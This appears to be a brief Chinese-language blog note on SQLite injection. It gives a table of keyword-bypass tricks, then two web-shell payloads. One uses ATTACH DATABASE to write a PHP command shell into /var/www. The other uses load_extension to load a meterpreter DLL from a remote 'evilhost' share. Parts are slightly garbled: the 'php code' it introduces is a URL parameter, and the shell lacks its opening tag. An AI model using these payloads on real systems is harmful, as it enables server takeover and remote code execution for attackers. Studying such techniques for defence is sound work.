0x00 前言
    最近尝试了SQLite注入,发现自己不是很能理解,就写了这一篇文章来加深自己的理解。希望对以后的自己有用吧。
参考:http://atta.cked.me/home/sqlite3injectioncheatsheet
0x01 关键字
    在sql中绕过关键字一般都是很重要的课题。当然在SQLite中也不例外。
| 注释 | – | 
|---|---|
| IF语句 | CASE | 
| 字符串连接符 | || | 
| 字符串截取 | substr(x,y,z) | 
| 生成单引号 | select substr(quote(hex(0)),1,1); | 
| 生成双引号 | select cast(X’22’ as text); | 
| 生成双引号(2) | .. VALUES (“<?xml version=“ | 
| 节省空间的双引号生成 | select replace(“<?xml version=$1.0$>”,”$”,(select cast(X’22’ as text))); | 
0x02 getshell Trick1 - ATTACH DATABASE
 你可以附加另一个数据库以方便查询。在文件系统上包含另一个已知内容的数据库,比如配置数据库。更有意思的是,如果你指定的文件不存在的话,那么你可以在你有写权限的文件系统上的任意一个位置来创建这个文件。
观察下面的一段php代码:
| 1 | ?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘ system($_GET[‘cmd’]); ’;-- | 
要求条件:允许堆叠注入。
0x03 getshell Trick2 - SELECT load_extension
| 1 | ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- |